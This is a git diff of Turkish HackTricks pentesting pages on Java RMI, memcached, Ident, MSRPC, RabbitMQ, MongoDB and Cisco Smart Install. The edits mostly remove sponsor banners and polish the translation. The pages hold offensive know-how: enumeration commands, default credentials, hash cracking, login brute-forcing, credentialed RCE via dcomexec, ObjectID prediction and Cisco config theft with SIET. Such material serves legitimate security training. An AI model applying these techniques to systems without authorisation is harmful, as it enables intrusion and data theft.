Enumeration sırasında hiçbir zafiyet tespit edilmediğinde bile, mevcut _RMI_ hizmetleri hala tehlikeli fonksiyonlar açığa çıkarabilir. Ayrıca, _RMI_ iletişimi _RMI_ varsayılan bileşenlerine karşı deserialization filtreleriyle korunmasına rağmen, özel _RMI_ hizmetleriyle konuşurken bu filtreler genellikle mevcut değildir. Bu nedenle, _RMI_ hizmetlerinde geçerli yöntem imzalarını bilmek değerlidir.
|
||||
|
||||
Ne yazık ki, _Java RMI_ uzak nesnelerde yöntemleri listelemeyi desteklememektedir. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla yöntem imzalarını bruteforce etmek mümkündür:
|
||||
```
|
||||
@ -208,16 +200,16 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
Bu makalelerde daha fazla bilgi bulabilirsiniz:
|
||||
|
||||
- [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
|
||||
- [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
|
||||
- [JEP 290'tan sonra Java RMI hizmetlerine saldırı](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
|
||||
- [Yöntem Tahmini](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
|
||||
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
- [rmiscout](https://bishopfox.com/blog/rmiscout)
|
||||
|
||||
Tahmin etmenin yanı sıra, karşılaşılan _RMI_ hizmetinin arayüzü veya hatta uygulaması için arama motorlarında veya _GitHub_ üzerinde de arama yapmalısınız. _Bound name_ ve uygulanan sınıf veya arayüzün adı burada faydalı olabilir.
|
||||
Tahmin etmenin yanı sıra, karşılaşılan bir _RMI_ hizmetinin arayüzü veya hatta uygulaması için arama motorlarında veya _GitHub_ üzerinde de arama yapmalısınız. _Bağlı ad_ ve uygulanan sınıf veya arayüzün adı burada faydalı olabilir.
|
||||
|
||||
## Bilinen Arayüzler
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) sınıfları veya arayüzleri, eğer araçtaki bilinen _RMI hizmetleri_ iç veritabanında listelenmişse `known` olarak işaretler. Bu durumlarda, ilgili _RMI hizmeti_ hakkında daha fazla bilgi almak için `known` eylemini kullanabilirsiniz:
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) sınıfları veya arayüzleri, eğer araçtaki bilinen _RMI hizmetleri_ içindeki veritabanında listelenmişse `bilinen` olarak işaretler. Bu durumlarda, ilgili _RMI hizmeti_ hakkında daha fazla bilgi almak için `bilinen` eylemini kullanabilirsiniz:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 1090 | head -n 5
|
||||
[+] RMI registry bound names:
|
||||
@ -301,12 +293,4 @@ Name: Enumeration
|
||||
Description: Perform basic enumeration of an RMI service
|
||||
Command: rmg enum {IP} {PORT}
|
||||
```
|
||||
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) kullanın.\
|
||||
Bugün Erişim Alın:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,17 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Komutlar Kılavuzu
|
||||
|
||||
**Kaynak** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
|
||||
|
||||
Desteklenen komutlar (resmi olanlar ve bazı resmi olmayanlar) [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) belgesinde belgelenmiştir.
|
||||
|
||||
Üzgünüm, sözdizimi açıklaması gerçekten net değil ve mevcut komutları listeleyen basit bir yardım komutu çok daha iyi olurdu. İşte [kaynak](https://github.com/memcached/memcached) içinde bulabileceğiniz komutların bir özeti (19.08.2016 itibarıyla):
|
||||
Üzgünüm, sözdizimi açıklaması gerçekten net değil ve mevcut komutları listeleyen basit bir yardım komutu çok daha iyi olurdu. İşte [source](https://github.com/memcached/memcached) içinde bulabileceğiniz komutların bir özeti (19.08.2016 itibarıyla):
|
||||
|
||||
| Komut | Açıklama | Örnek |
|
||||
| -------------------- | ------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- |
|
||||
@ -35,8 +31,8 @@ Desteklenen komutlar (resmi olanlar ve bazı resmi olmayanlar) [doc/protocol.txt
|
||||
| | | `stats sizes` |
|
||||
| | İstatistik sayaçlarını sıfırlar | `stats reset` |
|
||||
| lru_crawler metadump | Önbellekteki (tüm) öğelerin (çoğu) meta verisini döker | `lru_crawler metadump all` |
|
||||
| version | Sunucu sürümünü yazdırır. | `version` |
|
||||
| verbosity | Günlük seviyesini artırır | `verbosity` |
|
||||
| version | Sunucu sürümünü yazdırır. | `version` |
|
||||
| verbosity | Günlük seviyesini artırır | `verbosity` |
|
||||
| quit | Oturumu sonlandırır | `quit` |
|
||||
|
||||
#### Trafik İstatistikleri <a href="#traffic-statistics" id="traffic-statistics"></a>
|
||||
@ -118,10 +114,6 @@ STAT items:2:age 1405
|
||||
[...]
|
||||
END
|
||||
```
|
||||
Bu en azından hangi anahtarların kullanıldığını görmeye yardımcı olur. Zaten memcache erişimini yapan bir PHP betiğinden anahtar adlarını dökmek için [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html) adresindeki PHP kodunu kullanabilirsiniz.
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
Bu en azından hangi anahtarların kullanıldığını görmeye yardımcı olur. Zaten memcache erişimini yapan bir PHP betiğinden anahtar adlarını dökmek için [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html) adresindeki PHP kodunu kullanabilirsiniz.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,18 +2,11 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
|
||||
Bugün Erişim Alın:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Ident Protokolü**, belirli bir kullanıcıyla bir **TCP bağlantısını** ilişkilendirmek için **İnternet** üzerinde kullanılır. Başlangıçta **ağ yönetimi** ve **güvenlik** konularında yardımcı olmak için tasarlanmıştır ve bir sunucunun, belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için 113 numaralı portta bir istemciyi sorgulamasına olanak tanır.
|
||||
**Ident Protokolü**, belirli bir kullanıcıyla bir **TCP bağlantısını** ilişkilendirmek için **İnternet** üzerinde kullanılır. İlk olarak **ağ yönetimi** ve **güvenlik** konularında yardımcı olmak amacıyla tasarlanmıştır ve bir sunucunun, belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için 113 numaralı port üzerinden bir istemciyi sorgulamasına olanak tanır.
|
||||
|
||||
Ancak, modern gizlilik endişeleri ve kötüye kullanım potansiyeli nedeniyle, yetkisiz taraflara kullanıcı bilgilerini yanlışlıkla ifşa edebileceğinden kullanımı azalmıştır. Bu riskleri azaltmak için şifreli bağlantılar ve sıkı erişim kontrolleri gibi geliştirilmiş güvenlik önlemleri önerilmektedir.
|
||||
Ancak, modern gizlilik endişeleri ve kötüye kullanım potansiyeli nedeniyle, kullanımı azalmıştır çünkü istemci bilgilerini yetkisiz taraflara yanlışlıkla ifşa edebilir. Bu riskleri azaltmak için şifreli bağlantılar ve sıkı erişim kontrolleri gibi geliştirilmiş güvenlik önlemleri önerilmektedir.
|
||||
|
||||
**Varsayılan port:** 113
|
||||
```
|
||||
@ -73,13 +66,6 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
||||
|
||||
identd.conf
|
||||
|
||||
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) kullanın.\
|
||||
Bugün Erişim Alın:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
|
||||
|
||||
## HackTricks Otomatik Komutlar
|
||||
```
|
||||
Protocol_Name: Ident #Protocol Abbreviation if there is one.
|
||||
|
||||
@ -2,32 +2,17 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
**Hacking Insights**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
|
||||
|
||||
**Latest Announcements**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Microsoft Uzaktan Prosedür Çağrısı (MSRPC) protokolü, bir programın başka bir bilgisayarda bulunan bir programdan hizmet talep etmesini sağlayan bir istemci-sunucu modelidir ve ağın ayrıntılarını anlamadan çalışır. İlk olarak açık kaynak yazılımdan türetilmiş ve daha sonra Microsoft tarafından geliştirilip telif hakkı alınmıştır.
|
||||
Microsoft Uzaktan Prosedür Çağrısı (MSRPC) protokolü, bir programın başka bir bilgisayarda bulunan bir programdan hizmet talep etmesine olanak tanıyan bir istemci-sunucu modelidir ve ağın ayrıntılarını anlamadan çalışır. İlk olarak açık kaynak yazılımdan türetilmiş ve daha sonra Microsoft tarafından geliştirilip telif hakkı alınmıştır.
|
||||
|
||||
RPC uç noktası haritalayıcı, TCP ve UDP port 135, TCP 139 ve 445 üzerinde SMB (boş veya kimlik doğrulamalı oturum ile) ve TCP port 593 üzerinde bir web hizmeti aracılığıyla erişilebilir.
|
||||
RPC uç noktası haritalayıcısına TCP ve UDP port 135, SMB üzerinden TCP 139 ve 445 (boş veya kimlik doğrulamalı oturum ile) ve web hizmeti olarak TCP port 593 üzerinden erişilebilir.
|
||||
```
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
```
|
||||
## MSRPC nasıl çalışır?
|
||||
|
||||
İstemci uygulaması tarafından başlatılan MSRPC süreci, istemci çalışma zamanı kütüphanesi ile etkileşime giren yerel bir stub prosedürünü çağırmayı içerir ve ardından isteği sunucuya hazırlayıp iletmek için kullanılır. Bu, parametrelerin standart Ağ Veri Temsili formatına dönüştürülmesini içerir. Taşıma protokolü seçimi, sunucu uzaktaysa çalışma zamanı kütüphanesi tarafından belirlenir ve RPC'nin ağ yığını üzerinden iletilmesini sağlar.
|
||||
İstemci uygulaması tarafından başlatılan MSRPC süreci, istemci çalışma zamanı kütüphanesi ile etkileşime giren yerel bir stub prosedürünü çağırmayı içerir ve ardından isteği sunucuya hazırlayıp iletir. Bu, parametrelerin standart Ağ Veri Temsili formatına dönüştürülmesini içerir. Taşıma protokolü seçimi, sunucu uzaktaysa çalışma zamanı kütüphanesi tarafından belirlenir ve RPC'nin ağ yığını üzerinden iletilmesini sağlar.
|
||||
|
||||

|
||||
|
||||
@ -61,7 +46,7 @@ Tüm seçenekler `tcp_dcerpc_auditor` hariç, 135 numaralı portta MSRPC'yi hede
|
||||
- **Açıklama**: Alanları ve güven ilişkilerini listelemek için kullanılan LSA Dizin Hizmetleri (DS) arayüzü.
|
||||
- **IFID**: 12345778-1234-abcd-ef00-0123456789ac
|
||||
- **Named Pipe**: `\pipe\samr`
|
||||
- **Açıklama**: Kamuya açık SAM veritabanı öğelerine (örneğin, kullanıcı adları) erişmek ve kullanıcı şifrelerini hesap kilitleme politikasına bakılmaksızın zorlamak için kullanılan LSA SAMR arayüzü.
|
||||
- **Açıklama**: Kamuya açık SAM veritabanı öğelerine (örneğin, kullanıcı adları) erişmek ve kullanıcı şifrelerini hesap kilitleme politikası gözetmeksizin zorlamak için kullanılan LSA SAMR arayüzü.
|
||||
- **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
|
||||
- **Named Pipe**: `\pipe\atsvc`
|
||||
- **Açıklama**: Uzakta komutları yürütmek için kullanılan görev zamanlayıcı.
|
||||
@ -82,13 +67,13 @@ Tüm seçenekler `tcp_dcerpc_auditor` hariç, 135 numaralı portta MSRPC'yi hede
|
||||
|
||||
[https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver) kullanarak, [Airbus araştırmasından](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/) _**ServerAlive2**_ yöntemini _**IOXIDResolver**_ arayüzü içinde kötüye kullanmak mümkündür.
|
||||
|
||||
Bu yöntem, HTB kutusundan **IPv6** adresi gibi arayüz bilgilerini almak için kullanılmıştır _APT_. 0xdf APT yazımı için [buraya](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) bakın, rpcmap.py kullanarak alternatif bir yöntem içerir [Impacket](https://github.com/SecureAuthCorp/impacket/) ile _stringbinding_ (yukarıya bakın).
|
||||
Bu yöntem, HTB kutusundan _APT_ olarak **IPv6** adresi gibi arayüz bilgilerini almak için kullanılmıştır. 0xdf APT yazımı için [buraya](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) bakın, rpcmap.py kullanarak alternatif bir yöntem içermektedir [Impacket](https://github.com/SecureAuthCorp/impacket/) ile _stringbinding_ (yukarıya bakın).
|
||||
|
||||
### Geçerli kimlik bilgileri ile RCE yürütme
|
||||
|
||||
Geçerli bir kullanıcının kimlik bilgileri mevcutsa, bir makinede uzaktan kod yürütmek mümkündür [dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py) kullanarak impacket çerçevesinden.
|
||||
Geçerli bir kullanıcının kimlik bilgileri mevcutsa, bir makinede uzaktan kod yürütmek mümkündür. [dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py) kullanarak impacket çerçevesinden.
|
||||
|
||||
**Mevcut farklı nesnelerle denemeyi unutmayın**
|
||||
**Farklı mevcut nesnelerle denemeyi unutmayın**
|
||||
|
||||
- ShellWindows
|
||||
- ShellBrowserWindow
|
||||
@ -96,7 +81,7 @@ Geçerli bir kullanıcının kimlik bilgileri mevcutsa, bir makinede uzaktan kod
|
||||
|
||||
## Port 593
|
||||
|
||||
[rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) içindeki **rpcdump.exe** bu portla etkileşimde bulunabilir.
|
||||
[rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) içindeki **rpcdump.exe** bu port ile etkileşimde bulunabilir.
|
||||
|
||||
## Referanslar
|
||||
|
||||
@ -104,19 +89,4 @@ Geçerli bir kullanıcının kimlik bilgileri mevcutsa, bir makinede uzaktan kod
|
||||
- [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
- [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
|
||||
|
||||
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
**Hacking İçgörüleri**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
||||
Gerçek zamanlı haberler ve içgörüler aracılığıyla hızlı tempolu hacking dünyasında güncel kalın
|
||||
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,30 +2,26 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Hata ödülü ipucu**: **Intigriti** için **kayıt olun**, **hack'ler tarafından, hack'ler için oluşturulmuş bir premium hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
RabbitMQ hakkında daha fazla bilgi edinebilirsiniz [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\
|
||||
Bu portta, [management plugin](https://www.rabbitmq.com/management.html) etkinleştirildiyse RabbitMQ Yönetim web konsolunu bulabilirsiniz.\
|
||||
Bu portta, [management plugin](https://www.rabbitmq.com/management.html) etkinse RabbitMQ Yönetim web konsolunu bulabilirsiniz.\
|
||||
Ana sayfa şöyle görünmelidir:
|
||||
|
||||
.png>)
|
||||
|
||||
## Sayım
|
||||
|
||||
Varsayılan kimlik bilgileri "_**guest**_":"_**guest**_". Eğer bunlar çalışmıyorsa, [**giriş için brute-force deneyebilirsiniz**](../generic-hacking/brute-force.md#http-post-form).
|
||||
Varsayılan kimlik bilgileri "_**guest**_":"_**guest**_". Eğer bunlar çalışmıyorsa [**giriş için brute-force deneyebilirsiniz**](../generic-hacking/brute-force.md#http-post-form).
|
||||
|
||||
Bu modülü manuel olarak başlatmak için şunu çalıştırmanız gerekir:
|
||||
```
|
||||
rabbitmq-plugins enable rabbitmq_management
|
||||
service rabbitmq-server restart
|
||||
```
|
||||
Doğru bir şekilde kimlik doğruladıktan sonra admin konsolunu göreceksiniz:
|
||||
Doğru bir şekilde kimlik doğruladıktan sonra yönetici konsolunu göreceksiniz:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -51,10 +47,6 @@ hashcat -m 1420 --hex-salt hash.txt wordlist
|
||||
|
||||
- `port:15672 http`
|
||||
|
||||
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Hata ödülü ipucu**: **Intigriti** için **kayıt olun**, **hackerlar tarafından, hackerlar için oluşturulmuş premium bir hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,24 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
**Hacking Insights**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
|
||||
|
||||
**Latest Announcements**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**MongoDB**, çeşitli veri biçimlerini işlemek için **belge odaklı veritabanı modeli** kullanan bir **açık kaynak** veritabanı yönetim sistemidir. Yapısal olmayan veya yarı yapısal verileri büyük veri analitiği ve içerik yönetimi gibi uygulamalarda yönetmek için esneklik ve ölçeklenebilirlik sunar. **Varsayılan port:** 27017, 27018
|
||||
**MongoDB**, çeşitli veri biçimlerini işlemek için **belge odaklı veritabanı modeli** kullanan **açık kaynak** bir veritabanı yönetim sistemidir. Yapısal olmayan veya yarı yapısal verileri büyük veri analitiği ve içerik yönetimi gibi uygulamalarda yönetmek için esneklik ve ölçeklenebilirlik sunar. **Varsayılan port:** 27017, 27018
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
|
||||
@ -57,7 +42,7 @@ nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mo
|
||||
|
||||
- Tüm mongodb: `"mongodb server information"`
|
||||
- Tam açık mongodb sunucularını arayın: `"mongodb server information" -"partially enabled"`
|
||||
- Sadece kısmen kimlik doğrulama etkin: `"mongodb server information" "partially enabled"`
|
||||
- Sadece kısmen kimlik doğrulama etkinleştir: `"mongodb server information" "partially enabled"`
|
||||
|
||||
## Giriş
|
||||
|
||||
@ -90,14 +75,14 @@ Mongo Object ID'leri **12 baytlık onaltılık** dizelerdir:
|
||||
|
||||
Örneğin, bir uygulama tarafından döndürülen gerçek bir Object ID'yi nasıl parçalayabileceğimize bakalım: 5f2459ac9fa6dc2500314019
|
||||
|
||||
1. 5f2459ac: ondalık olarak 1596217772 = Cuma, 31 Temmuz 2020 17:49:32
|
||||
1. 5f2459ac: 1596217772 ondalık = Cuma, 31 Temmuz 2020 17:49:32
|
||||
2. 9fa6dc: Makine Tanımlayıcı
|
||||
3. 2500: Süreç ID'si
|
||||
4. 314019: Artan sayaç
|
||||
|
||||
Yukarıdaki öğelerden, makine tanımlayıcısı, veritabanı aynı fiziksel/sanal makinede çalıştığı sürece aynı kalacaktır. Süreç ID'si yalnızca MongoDB süreci yeniden başlatıldığında değişecektir. Zaman damgası her saniye güncellenecektir. Object ID'leri tahmin etmenin tek zorluğu, sayaç ve zaman damgası değerlerini basitçe artırmak, Mongo DB'nin Object ID'leri oluşturması ve sistem düzeyinde Object ID'leri atamasıdır.
|
||||
Yukarıdaki öğelerden, makine tanımlayıcısı, veritabanı aynı fiziksel/sanal makinede çalıştığı sürece aynı kalacaktır. Süreç ID'si yalnızca MongoDB süreci yeniden başlatıldığında değişecektir. Zaman damgası her saniyede bir güncellenecektir. Object ID'leri tahmin etmenin tek zorluğu, sayaç ve zaman damgası değerlerini basitçe artırmak, Mongo DB'nin Object ID'leri oluşturması ve sistem düzeyinde atamasıdır.
|
||||
|
||||
Araç [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), başlangıç Object ID'si verildiğinde (bir hesap oluşturabilir ve bir başlangıç ID'si alabilirsiniz), muhtemel olarak bir sonraki nesnelere atanmış olabilecek yaklaşık 1000 olası Object ID'si geri gönderir, bu yüzden sadece bunları brute force yapmanız gerekir.
|
||||
Araç [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), bir başlangıç Object ID'si verildiğinde (bir hesap oluşturabilir ve bir başlangıç ID'si alabilirsiniz), muhtemel olarak bir sonraki nesnelere atanmış olabilecek yaklaşık 1000 olası Object ID'si geri gönderir, böylece bunları brute force ile denemeniz yeterlidir.
|
||||
|
||||
## Post
|
||||
|
||||
@ -105,19 +90,4 @@ Eğer root iseniz, **mongodb.conf** dosyasını **değiştirebilirsiniz** böyle
|
||||
|
||||
---
|
||||
|
||||
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
**Hacking İçgörüleri**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
||||
Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
|
||||
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,13 +2,10 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Cisco Smart Install**, yeni Cisco donanımı için başlangıç yapılandırmasını ve bir işletim sistemi görüntüsünün yüklenmesini otomatikleştirmek üzere tasarlanmış bir Cisco ürünüdür. **Varsayılan olarak, Cisco Smart Install, Cisco donanımında aktiftir ve 4786 numaralı port ile TCP taşıma katmanı protokolünü kullanır.**
|
||||
**Cisco Smart Install**, yeni Cisco donanımı için başlangıç yapılandırmasını ve bir işletim sistemi görüntüsünün yüklenmesini otomatikleştirmek üzere Cisco tarafından tasarlanmıştır. **Varsayılan olarak, Cisco Smart Install, Cisco donanımında aktiftir ve 4786 numaralı port ile TCP taşıma katmanı protokolünü kullanır.**
|
||||
|
||||
**Varsayılan port:** 4786
|
||||
```
|
||||
@ -25,7 +22,7 @@ PORT STATE SERVICE
|
||||
- RCE çağırmasına
|
||||
- ağ ekipmanlarının yapılandırmalarını çalmasına olanak tanır.
|
||||
|
||||
**Bu güvenlik açığını istismar etmek için geliştirilen** [**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)**, Cisco Smart Install'ı kötüye kullanmanıza olanak tanır. Bu makalede, meşru bir ağ donanım yapılandırma dosyasını nasıl okuyabileceğinizi göstereceğim. Yapılandırma dışa aktarımı, bir pentester için değerli olabilir çünkü ağın benzersiz özellikleri hakkında bilgi edinmenizi sağlar. Bu da hayatı kolaylaştırır ve bir saldırı için yeni vektörler bulmanıza olanak tanır.
|
||||
**Bu güvenlik açığını istismar etmek için geliştirilen** [**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)**, Cisco Smart Install'ı kötüye kullanmanıza olanak tanır. Bu makalede, meşru bir ağ donanım yapılandırma dosyasını nasıl okuyabileceğinizi göstereceğim. Yapılandırma dışa aktarımı, bir pentester için değerli olabilir çünkü ağın benzersiz özelliklerini öğrenmesini sağlar. Bu da hayatı kolaylaştırır ve bir saldırı için yeni vektörler bulmayı sağlar.
|
||||
|
||||
**Hedef cihaz “canlı” bir Cisco Catalyst 2960 anahtarı olacaktır. Sanal görüntülerde Cisco Smart Install yoktur, bu nedenle yalnızca gerçek donanımda pratik yapabilirsiniz.**
|
||||
|
||||
@ -39,8 +36,5 @@ Anahtar yapılandırması **10.10.100.10** **tftp/** klasöründe olacaktır.
|
||||
|
||||
<figure><img src="../images/image (1116).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,17 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
|
||||
|
||||
